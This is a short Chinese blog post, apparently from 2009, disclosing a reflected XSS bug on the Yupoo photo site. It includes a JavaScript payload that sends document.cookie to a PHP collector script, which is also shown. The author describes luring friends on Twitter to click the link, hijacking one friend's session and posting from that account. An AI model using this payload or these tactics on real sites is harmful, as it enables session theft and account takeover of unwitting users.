声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。
偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。
漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。
于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。
弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写
var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);
然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据
<?php
if (isset($_GET['var'])) {
file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}
接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。
不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。
再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。
最后,使用此帐户发张本人的艳·照,纪念下…
-- Update --
截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!
-- Split --
总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。
Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。